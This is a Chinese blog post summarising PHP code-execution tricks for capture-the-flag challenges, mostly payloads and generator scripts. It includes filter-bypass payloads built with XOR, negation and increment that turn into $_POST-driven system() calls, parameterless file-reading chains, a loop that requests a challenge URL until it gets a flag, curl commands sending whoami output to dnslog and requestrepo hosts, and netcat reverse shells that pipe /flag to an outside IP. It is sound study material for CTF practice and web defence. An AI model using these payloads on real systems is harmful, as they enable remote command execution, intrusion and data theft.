RCE总结-代码执行

代码执行函数

eval()assert()preg_replace()create_function()array_map()call_user_func()call_user_func_array()array_filter()uasort()array_walk_recursive

查看可用字符

将题目的正则输入后即可得到可用的符号

1
2
3
4
5
6
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/[a-zA-Z0-9#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
echo chr($i)." ";
}
}

disable_functions绕过

可以手工绕过或者通过蚁剑的插件,手工绕过我单独写了一篇文章

小trick:get形式的代码执行可以用转接头的形式在蚁剑上连接,例如/?1=assert($_POST[2]);

标签闭合绕过

1
2
3
if(!preg_match("/\?|\;/",$code)){
eval("?>".$code);
}

闭合了标签,那就造一个新的标签<script language="php">system('tac /f*')</script>

小trick:</script>结束标签自带一个;

标签闭合+长度限制

1
2
3
if(strlen($code)<=13){
eval("?>".$code);
}

构造一个小于13位的参数:<?`$_GET[2]`;

然后可以利用&2传入反弹shell的命令等操作

或者在特定版本下可以用%0a绕过注释符号的闭合

无字母数字代码执行

也是很经典的一类题目,参数中不能出现字母和数字
思路就是通过非字母数字的字符经过各种变换构造出任意字母,然后拼接出函数执行

1
2
3
4
5
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);

异或xor

在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母即可。而在php中,两个字符进行异或时,会先将字符串转换成ascii码值,再将这个值转换成二进制,然后一位一位的进行按位异或,异或的规则是:1^1=0,1^0=1,0^1=1,0^0=0,简单的来说就是相同为零,不同为一

例如("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60"),异或后得到system

yu师傅的脚本,用来生成一个字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

然后生成payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-

# author yu22x

# import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

然后用($a)();的形式执行代码即可,但是要注意PHP7前是不允许用($a)();这样的方法来执行动态函数的

补充:PHP>8就不支持将没有引号包裹的字符解析为对应字符串了,xx^yy->'xx'^'yy',这里x y代表ascii大于128的值

取反

例子

1
2
3
%8C-10001100
逐位取反
%73-01110011

利用php的取反符号~来构造任意字母

yu师傅脚本

1
2
3
4
5
6
7
8
9
<?php
//在命令行中运行
/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

或or

原理与异或一致,利用符号|来构造

或运算就是有一为一,都是零就是零,比如说3|10,就是0011|1010,结果为1011

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

/* author yu22x */

$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)


自增

利用PHP中的递增/递减运算符,也就是说'a'++ => 'b'

所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

当php强制输出数组时,数组会被转换成字符串Array,就可以拿到A(PHP函数是大小写不敏感)

一个通过Array构造出$_POST[__]($_POST[_]);的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$____='_';//_
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P
$____.=$__;//_P
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O
$____.=$__;//_PO
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S
$____.=$__;//_POS
$__=$_;//A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//T
$____.=$__;//_POST
$_=$____;//_POST

$$_[__]($$_[_]);//$_POST[__]($_POST[_]);


//注意编码
//$_=[].'';$_=$_[''=='$'];$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$____;$$_[__]($$_[_]);&__=system&_=ls

通过Array构造出($_GET[_])($_GET[__])的例子

1
2
3
$_=[]._;$__=$_['!'=='='];$__++;$__++;$__++;$___=++$__;++$__;$___=++$__.$___;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;$___=$___.++$__;$_='_'.$___;($$_[_])($$_[__]);

?_=system&__=ls

自增长度限制

如果出现了对长度的限制,那么就需要缩短自增的过程,比如从b自增到g,肯定要比a自增到g的过程短。

在php中存在两种数据类型

1
2
3
NaN(Not a Number,非数)是计算机科学中数值数据类型的一类值,表示未定义或不可表示的值。常在浮点数运算中使用。首次引入NaN的是1985年的IEEE 754浮点数标准。

INF:infinite,表示“无穷大”。 超出浮点数的表示范围(溢出,即阶码部分超过其能表示的最大值)。

我们可以利用N自增到T,这一过程经过了OPQRS,所以构造POST比构造GET更加简短

不过需要先转换成字符串类型

1
2
3
4
5
$_=0/0;  //float(NAN)
$_=1/0; //float(INF)

$_=(0/0)._; //字符串 NAN_
$_=(1/0)._; //字符串 INF_

利用NAN转换成$_POST[0]($_POST[1]);的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$a=(0/0);//NAN
$a.=_;//NAN_
$a=$a[0];//N
$a++;//O
$o=$a++;//$o=$a++是先把$a的值给$o,然后再对$a进行自增,所以这一句结束的时候 $a是P,$o是O
$p=$a++;//$a=>Q,$p=>P
$a++;$a++;//R
$s=$a++;//S
$t=$a;//T
$_=_;//_
$_.=$p.$o.$s.$t;//_POST
$$_[0]($$_[1]);//$_POST[0]($_POST[1]);

//用不可见字符替换php变量名称。小于等于105
//$%ff=(0/0);$%ff.=_;$%ff=$%ff[0];$%ff%2b%2b;$%fd=$%ff%2b%2b;$%fe=$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$%fc=$%ff%2b%2b;$%fb=$%ff;$_=_;$_.=$%fe.$%fd.$%fc.$%fb;$$_[0]($$_[1]);&0=system&1=ls

进一步缩短长度至84字符,同样是利用NAN

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a=(_/_._)[0];//直接拼接成字符串并切片
$o=++$a;//$o=++$a是先把$a进行自增,自增完成之后再将值返回,也就是这一句结束的时候 $a和$o都是O
$o=++$a.$o;//$o=>PO,$a=>P
$a++;//Q
$a++;//R
$o.=++$a;//$o=>POS,$a=>S
$o.=++$a;//$o=>POST,$a=>T
$_=_.$o;//_POST
$$_[0]($$_[_]);//$_POST[0]($_POST[_]);


//$%ff=(_/_._)[0];$%fe=%2b%2b$%ff;$%fe=%2b%2b$%ff.$%fe;$%ff%2b%2b;$%ff%2b%2b;$%fe.=%2b%2b$%ff;$%fe.=%2b%2b$%ff;$_=_.$%fe;$$_[0]($$_[_]);&0=system&_=ls

还可以将_POST本身当作一个参数,缩短长度至73

1
2
$_=(_/_._)[_];$_++;$__=$_.$_++;++$_;++$_;$$_[$_=_.$__.++$_.++$_]($$_[_]);
//$_POST[_POST]($_POST[_])

如果php开启了gettext拓展,长度还能进一步缩短,因为该扩展支持函数_() ,相当于gettext(),可以直接转化为字符串

72位

1
2
3
4
5
6
7
8
9
10
<?php
$a=_(a/a)[a];//N
++$a;//O
$_=$a.$a++;//PO
$a++;$a++;//R
$_=_.$_.++$a.++$a;//_POST
$$_[a]($$_[_]);//$_POST[a]($_POST[_])


//$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=ls

68位

1
2
3
4
5
6
<?php
$_=_(a/a)[_];//N
$a=++$_;//O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);//巧妙的把两次$_++放在一起

//$_=_(%ff/%ff)[_];$%ff=%2b%2b$_;$$%ff[$%ff=_.%2b%2b$_.$%ff[$_%2b%2b/$_%2b%2b].%2b%2b$_.%2b%2b$_]($$%ff[_]);&_POST=system&_=ls

无参RCE

经典正则,不能使用带参数的函数

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
1
2
3
4
5
6
7
8
9
10
end() — 将内部指针指向数组中的最后一个元素,并输出
next() — 将内部指针指向数组中的下一个元素,并输出
prev() — 将内部指针指向数组中的上一个元素,并输出
reset() — 将内部指针指向数组中的第一个元素,并输出
each() — 返回当前元素的键名和键值,并将内部指针向前移动
current() — 返回数组中的当前值
array_reverse() — 返回单元顺序相反的数组
getcwd() — 取得当前工作目录
array_rand() — 返回一个包含随机键名的数组
hex2bin() — 把十六进制值转换为 ASCII 字符

getallheaders()

获取全部HTTP请求头信息

可以通过var_dump(getallheaders());来输出请求头信息,然后通过next,end等来控制字符串位置

get_defined_vars()

返回由所有已定义变量所组成的数组

返回数组顺序为get->post->cookie->files

session_start()

php7以下适用

因为PHPSESSID的组成符号有限定,所以不能有()

读文件

1
2
GET /?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

或者转成16进制

1
2
<?php
echo bin2hex('phpinfo();'); //706870696e666f28293b
1
2
GET /?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=706870696e666f28293b

scandir()

一些payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//查看当前目录下的文件
var_dump(scandir(getcwd()));
var_dump(scandir(current(localeconv())));
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); //利用三角函数和floor ceil,这个是php7下能够成功

//当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

//当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

//随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

//查看上一级目录文件名
print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

//读取上级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));

//查看和读取根目录文件(所获得的字符串第一位有几率是/,需要多试几次)
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

dirname()

php特性1:对目录取目录会得到上级目录

1
2
3
4
5
6
7
8
//  /var/www/html
var_dump(getcwd());

// /var/www
var_dump(dirname(getcwd()));

// 列出/目录文件
print_r(scandir(dirname(dirname(dirname(getcwd())))));

php特性2:readfile和show_source的特点

如果readfile第二个参数不设定为true,则不会寻找include_path里面的文件进行读取
而show_source默认情况下,是包含include_path的

1
2
3
4
5
6
7
8
9
10
11
// set_include_path 成功时返回旧的 include_path 或者在失败时返回 false。

//通过set_include_path函数同时实现了两个功能
// 1:设置文件包含路径,方便show_source在其他目录进行读取
// 2:放回 .:/usr/local/php

//两次随机数取值
// 1:第一次取到set_include_path函数返回的字符串中的/
// 2:第二次取到根目录里的随机文件,取出flag这个字符串交给show_source进行读取

show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time


url = "http://d18ae616-8323-4d47-bade-5f3ee9710125.challenge.ctf.show/?code=show_source(array_rand(array_flip(scandir(array_rand(array_flip(str_split(set_include_path(dirname(dirname(dirname(getcwd())))))))))));"


go = True

while go:
res = requests.get(url)
time.sleep(0.3)

if res.text.find("flag{") > 0:
print(res.text)
go = False
else:
pass

无回显情况的几种利用方式

题目中较常见的是shell_exec函数,与system函数相比,前者没有回显结果

写文件

当有写入的权限时,可以考虑将结果写到文件中

例如:ls>1.txt;

dns外带信息

假设目标没有写的权限,但是出网,就可以考虑使用dns外带信息,常用的平台有http://dnslog.cn/

例如我们生成一个域名c9n9j5.dnslog.cn,然后在靶机上执行curl `whoami`.c9n9j5.dnslog.cn

刷新后就会在平台上返回结果

http外带信息

实际上在dnslog外带信息的同时,有许多不方便之处,比如不支持换行,url中没有的字符不显示等等

所以可以用http的方式,推荐一个平台https://requestrepo.com/#/,用来接收get,post请求等

在靶机上执行curl http://mt2dyif2.requestrepo.com/?1=`whoami` ,过一会在平台上就会有请求返回(子域名是随机生成的)

反弹shell

不回显的利用方式肯定少不了最经典的反弹shell

常规反弹语句:nc ip port -e /bin/sh,监听:nc -lvnp port

反弹的姿势非常多,不知道利用什么方式时可以用比较通用的方式https://your-shell.com/

应对一些过滤时的做法:

1
2
3
4
5
6
7
8
9
10
11
12
// 靶机执行的命令
sh -c "`nc 47.99.77.52 1234`"


// vps 传递sh脚本
nc -lvvnp 1234 < 1.sh

// 1.sh内容
echo `cat /flag` | nc 47.99.77.52 1235

// vps监听1235
nc -lvnnp 1235

时间盲注

当靶机不出网,没有写入权限,没有回显时,可以采用类似sql时间盲注的方法

原理很简单,就是猜字符如果猜中,就延时若干秒,坏处是非常耗时


RCE总结-代码执行
https://www.dr0n.top/posts/de69952b/
作者
dr0n
发布于
2023年1月10日
更新于
2024年7月11日
许可协议